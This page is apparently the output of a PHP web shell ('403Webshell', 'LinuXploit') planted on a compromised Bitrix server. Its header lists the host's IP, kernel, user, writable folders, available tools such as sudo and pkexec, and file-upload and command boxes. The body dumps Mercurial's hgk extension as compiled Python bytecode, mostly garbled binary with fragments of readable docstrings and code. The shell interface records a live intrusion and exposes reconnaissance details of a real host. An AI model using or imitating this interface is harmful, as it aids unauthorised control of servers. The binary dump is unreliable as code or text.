403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/hgext/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/hgext/__pycache__/hgk.cpython-39.pyc
a

�+�b�/�@s�dZddlmZddlZddlmZddlmZmZddl	m
Z
mZmZm
Z
mZmZiZe�e�ZdZiZe�e�Zedd	dd
�eddd
ded�fddded�fddded�fddded�fddded�fddded�fgddd�dBdd��ZdCd d!�Zed"ged#��d$d%��Zed&ddded�fged'�dd�dDd(d)��ZdEd,d-�Zed.d/d0ded0�fd1d2ded2�fdd3ded3�fd4d5ded5�fgd6�d7d8��Zed9d:d;ded<�ed=�fged>�ejd?�d@dA��ZdS)Fa�browse the repository in a graphical way

The hgk extension allows browsing the history of a repository in a
graphical way. It requires Tcl/Tk version 8.4 or later. (Tcl/Tk is not
distributed with Mercurial.)

hgk consists of two parts: a Tcl script that does the displaying and
querying of information, and an extension to Mercurial named hgk.py,
which provides hooks for hgk to get information. hgk can be found in
the contrib directory, and the extension is shipped in the hgext
repository, and needs to be enabled.

The :hg:`view` command will launch the hgk Tcl script. For this command
to work, hgk must be in your search path. Alternately, you can specify
the path to hgk in your configuration file::

  [hgk]
  path = /location/of/hgk

hgk can make use of the extdiff extension to visualize revisions.
Assuming you had already configured extdiff vdiff command, just add::

  [hgk]
  vdiff=vdiff

Revisions context menu will now display additional entries to fire
vdiff on hovered and selected revisions.
�)�absolute_importN)�_)�nullrev�short)�commands�obsolete�patch�pycompat�	registrar�scmutilsships-with-hg-core�hgk�path)�defaultsdebug-diff-tree�pspatchsgenerate patch�rs	recursive�Pspretty�ssstdin�Cscopys
detect copies�Sssearch�s![OPTION]... NODE1 NODE2 [FILE]...T)Z	inferrepocsd�fdd�	}|dr\�j��}|s(�q|�tj��d�}|d}t|�dkrX|d}nd}|�|�}|rv|�|�}n|}|j�	|�d}|dr�|d	r�t
�||d
�t�|||�}t
���}	d|	_t
j|||||	d�}
|
D]}��|�q�n|||||d
�|ds�qqdS)zdiff trees from two commitsNc
s�|dusJ�|durg}||��}||��}t�|||�}|�|||�}t|j�}|jD]*}	��dt||	�t||	�|	|	f�q^|jD]"}	��d|t||	�|	|	f�q�|j	D]"}	��dt||	�||	|	f�q�dS)Ns:100664 100664 %s %s M	%s	%s
s:000000 100664 %s %s N	%s	%s
s:100664 000000 %s %s D	%s	%s
)
Zmanifestr�match�statusr�nullidZmodified�writenoi18nZaddedZremoved)
�repo�node1�node2�filesZmmapZmmap2�m�st�empty�f��ui��//usr/lib64/python3.9/site-packages/hgext/hgk.py�
__difftreeYs4

��
��
��zdifftree.<locals>.__difftree�stdin� r�rZprettyrT)r�opts)r)N)�fin�readline�rstripr	�	oslinesep�split�len�lookup�	changelog�parents�	catcommitrrrZdifffeatureopts�git�diff�write)r#rrrrr*r&�linerZdiffopts�chunks�chunkr$r"r%�difftreeIs6



r;c	CsNd|}|dur||}|�dt|��d��|��D]}|�d|�q:|��}|���dd�}|�d|��t|d�|df�d	|�	�vr�|�d
|�	�d	�|�d|�
��|�d|���t�
|tj�r�|��r�|�d
�|�d|���|dk�r,|�d||�d|���f�n|�|d�|�rJ|�d�dS)N�
stree %s
rs
parent %s
�rsauthor %s %d %d
r)s	committers
committer %s
srevision %d
s
branch %s
s	obsolete
s
phase %s

�%s%s
)r7r�	changesetr3�date�description�replace�user�intZextra�rev�branchr�	isenabledZcreatemarkersoptrZphasestr�strip)	r#r�n�prefix�ctxZnlprefix�pr@rAr$r$r%r4�s0$

�r4sdebug-merge-basesREV REVcCs8|�|�}|�|�}|j�||�}|�t|�d�dS)z"output common ancestor informationr<N)r1r2Zancestorr7r)r#rrrrIr$r$r%�base�s

rMsdebug-cat-files[OPTION]... TYPE FILEcKs�d}|dr:|j��}|sdS|�tj��d�\}}d}n"|rB|s\|�td��t�	|d�|r�|dkrz|�td	��d
S|�
|�}t||||�|dr�|j��}|s�q�|�tj��d�\}}q\q�q\dS)zcat a specific revisionrr'Nr(�    s(cat-file: type or revision not supplied
scat-file�commits.aborting hg cat-file only understands commits
r))r+r,r-r	r.r/�warnrrZhelp_r1r4)r#r�type�rr*rJr8rIr$r$r%�catfile�s,


rS�treeFcs���fdd�}dd�}g}g}	g}
d}t|�D]R\}}
|
�d�rh��|
dd��}|	�|�|
�|�q.|
dkr.|
���|
��q.t|
�D]�\}}|�t��|g}||�|�|r�|�d�}||	vr�q��j�|�D]4}|||v�r||�|�|�|�||	vr�q�q�q�q�|�D�]�\}}|�v�r.�q�j�	|�}||
||�}|�rd	}|�r��j�|�}|d�j
k�r�|d
t|d�7}|d�j
k�r�|d
t|d�7}��s�|�dt|�|f�n��dk�r�|�dt|�|f�t
|�|d
|�n̈j�|�\}}tt|||f�\}}}t�jj||f�\}}|��d}|�d|||f�||
||�}|tk�r�|dk�r�|�d||f�f||
||�}|tk�r�|dk�r�|�d||f�|�d�|�r�||k�r��q�|d7}�qdS)Nc3st��}|}dgd}d}||kr,|}d}n||8}t�|�D]t}|||krldg|||||d�<q��dur�||�vr��||||<||��q>||�vr>d||<q>t�|ddd�D].}||dkr�||�dur�||p�dfVq�|dkr�qqdS)Nr�dr)���)r0r	�xranger?)�count�i�lr:�x��fullrr$r%�	chlogwalk�s.

 zrevtree.<locals>.chlogwalkcSsDt|�dkrdSd}t�t|��D]}|||vr"|d|>O}q"|S)Nrr))r0r	rW)�ar�	reachableZsha�maskrYr$r$r%�is_reachableszrevtree.<locals>.is_reachabler�^r)sHEADrr(r>rOrNs%s %s:%ss%s:%s r<)�	enumerate�
startswithr1�append�set�add�popr2r3Znoderrr7r4�maprEr@r)r#�argsrr]Zmaxnrr3r^rbr`Z	stop_sha1Z	want_sha1rXrY�arg�srIZvisitrLrKraZ	parentstr�ppZp1Zp2�hZh1Zh2Zi1Zi2r@r$r\r%�revtree�sx







rpsdebug-rev-list�Hsheader�ts
topo-ordersparents�ns	max-counts[OPTION]... REV...cOs>|drd}nd}dd�|D�}t|||||d|d�dS)zprint revisions�headerrONcSsg|]}|�qSr$r$)�.0r[r$r$r%�
<listcomp>nrzrevlist.<locals>.<listcomp>Z	max_countr3)rp)r#rZrevsr*r]�copyr$r$r%�revlist^s
rxsview�lslimits!limit number of changes displayedsNUMs[-l LIMIT] [REVRANGE])ZhelpcategorycOs�t�|�}t�|j�d�dd�t�|�D��}|jdurB|d7}|�dd�d|d�|�f}|�	d	|�|j
|d
d�dS)z start interactive history viewerr(cSs g|]\}}|rd||f�qS)s--%s %sr$)ru�k�vr$r$r%rv}rzview.<locals>.<listcomp>Ns--hiddenrr
s %s %ssrunning %s
shgk_view)Z
blockedtag)r	Zbyteskwargs�os�chdir�root�joinZ	iteritemsZ
filternameZconfig�debug�system)r#r�etcr*Zoptstr�cmdr$r$r%�viewrs
�
r�)NN)N)NN)rTrF)�__doc__Z
__future__rr|Zmercurial.i18nrZmercurial.noderrZ	mercurialrrrr	r
rZcmdtableZcommandZ
testedwithZconfigtableZ
configitemr;r4rMrSrprxZCATEGORY_CHANGE_NAVIGATIONr�r$r$r$r%�<module>sp 	

���
@
!
�&
r��


�

Youez - 2016 - github.com/yon3zu
LinuXploit